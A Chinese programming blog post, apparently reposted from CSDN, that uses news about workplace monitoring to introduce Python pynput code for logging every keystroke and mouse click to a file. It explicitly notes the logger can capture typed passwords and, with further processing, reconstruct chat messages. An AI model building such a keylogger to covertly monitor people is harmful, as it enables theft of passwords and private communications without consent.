網站首頁 編程語言 正文
繼打游戲、看視頻等摸魚行為被監控后,現在打工人離職的傾向也會被監控。
有網友爆料稱知乎正在低調裁員,視頻相關部門幾乎要裁掉一半。而在知乎裁員的討論區,有網友表示企業安裝了行為感知系統,該系統可以提前獲知員工跳槽念頭。
而知乎在否認了裁員計劃的同時,也聲明從未安裝使用過網上所說的行為感知系統,今后也不會啟用類似軟件工具。
因為此事,深信服被推上風口浪尖,輿論關注度越來越高。
一時間,“打工人太難了”“毫無隱私可言”的討論層出不窮。
今天就帶大家領略一下怎么寫幾行 Python 代碼,就能監控電腦。
監控鍵盤
如果公司偷偷在我們的電腦上運行了一個后臺進程,來監控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join()
隨意敲擊鍵盤,你就會從控制臺看到這樣的輸出:
代碼內容就是兩個方法,一個是監聽按鍵事件,另一個是監聽退出事件——敲擊 ESC 按鍵后釋放就退出了。
監控鼠標
如果還要監聽鼠標事件,那么上這段代碼就行了:
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # 定義鼠標監聽線程 with mouse.Listener(on_click=on_click) as listener: listener.join()
這段代碼主要是監聽鼠標的左右鍵點擊操作,運行之后操作鼠標,就可以看到控制臺打印如下結果:
細心的你一定會發現,每次點擊事件,都打印了兩次。這是因為按下和松開都會觸發鼠標事件。
記錄監控日志
鍵盤事件和鼠標事件都有了,是時候將二者結合起來,把用戶的操作記錄到日志了。這里我們用 loguru 來記錄日志,這個 python 模塊我們之前的文章也講過。
整個代碼如下:
from pynput import keyboard, mouse from loguru import logger from threading import Thread # 定義日志文件 logger.add('moyu.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False # 定義鍵盤監聽線程 def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') else: return False # 定義鼠標監聽線程 def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個線程分別監控鍵盤和鼠標 t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()
運行之后,你就可以在同級目錄下的日志文件中,看到這樣的內容了:
完整代碼
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: 閑歡 """ from pynput import keyboard, mouse from loguru import logger from threading import Thread # 定義日志文件 logger.add('moyu.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False # 定義鍵盤監聽線程 def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') return False else: logger.debug('mid was pressed!') # 定義鼠標監聽線程 def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個線程分別監控鍵盤和鼠標 t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()
總結
本文主要通過 pynput 這個 python 模塊講解一下怎么記錄鍵盤和鼠標的操作。這幾行簡單的代碼對于監控輸入密碼之類的簡單操作可以使用,但是對于聊天記錄之類的復雜語句,你還需要針對日志用 NLTK 語言處理,才能復原你的聊天記錄。
原文鏈接:https://blog.csdn.net/weixin_48923393/article/details/123038998
相關推薦
- 2022-09-24 一文詳解go?mod依賴管理詳情_Golang
- 2022-06-10 解決Qt設置QTextEdit行高的問題_C 語言
- 2022-08-07 Python繪制交通流折線圖詳情_python
- 2023-01-11 React中映射一個嵌套數組實現demo_React
- 2022-07-07 Python自動化測試selenium指定截圖文件名方法_python
- 2022-01-16 ES6中Set(集合)、Map以及class類
- 2022-07-09 Jquery操作DOM元素方法詳解_jquery
- 2022-09-15 Python?torch.onnx.export用法詳細介紹_python
- 最近更新
-
- window11 系統安裝 yarn
- 超詳細win安裝深度學習環境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區別,Jav
- spring @retryable不生效的一種
- Spring Security之認證信息的處理
- Spring Security之認證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權
- redisson分布式鎖中waittime的設
- maven:解決release錯誤:Artif
- restTemplate使用總結
- Spring Security之安全異常處理
- MybatisPlus優雅實現加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務發現-Nac
- Spring Security之基于HttpR
- Redis 底層數據結構-簡單動態字符串(SD
- arthas操作spring被代理目標對象命令
- Spring中的單例模式應用詳解
- 聊聊消息隊列,發送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠程分支